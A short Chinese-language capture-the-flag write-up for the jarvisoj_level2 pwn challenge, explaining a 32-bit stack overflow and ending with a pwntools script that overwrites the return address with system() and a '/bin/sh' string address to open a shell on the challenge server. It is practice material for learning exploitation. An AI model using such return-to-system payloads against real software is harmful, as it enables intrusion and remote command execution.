ROP-ret2text,栈溢出

https://buuoj.cn/challenges#jarvisoj_level2

首先checksec一下:

32位,有栈堆不可执行。

main函数调用了system函数,说明我们可以知道system函数的地址,找一下:

system_addr = 0x08048320

再看一下main函数中调用的另外一个函数vulnerable_function()

非常明显的栈溢出。

回忆一下栈帧结构:

在这里,我们首先溢出覆盖vulnerable_function()函数的返回地址,将返回地址修改成system函数,然后再往system函数里面塞入参数“/bin/sh”即可。

在system函数的栈帧结构是这样的:command参数在返回地址的上面,所以我们的payload的构造思路是这样的:

画板

然后还需要一个参数“/bin/sh”,非常好的是我们不需要自己构造了,在Strings视图里面找到了一个存有此参数的地址,我们直接把这个地址塞进去即可。0x0804A024

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

ip='node5.buuoj.cn'
port=28815
file_addr = './jarvisoj_level2'

p = remote(ip,port)
# p = process(file_addr)
elf = ELF(file_addr)

system_addr=0x08048320
binsh_str_addr=0x0804A024
payload = b'a'*(136+4)+p32(system_addr)+b'a'*4+p32(binsh_str_addr)
print(payload)
p.send(payload)
p.interactive()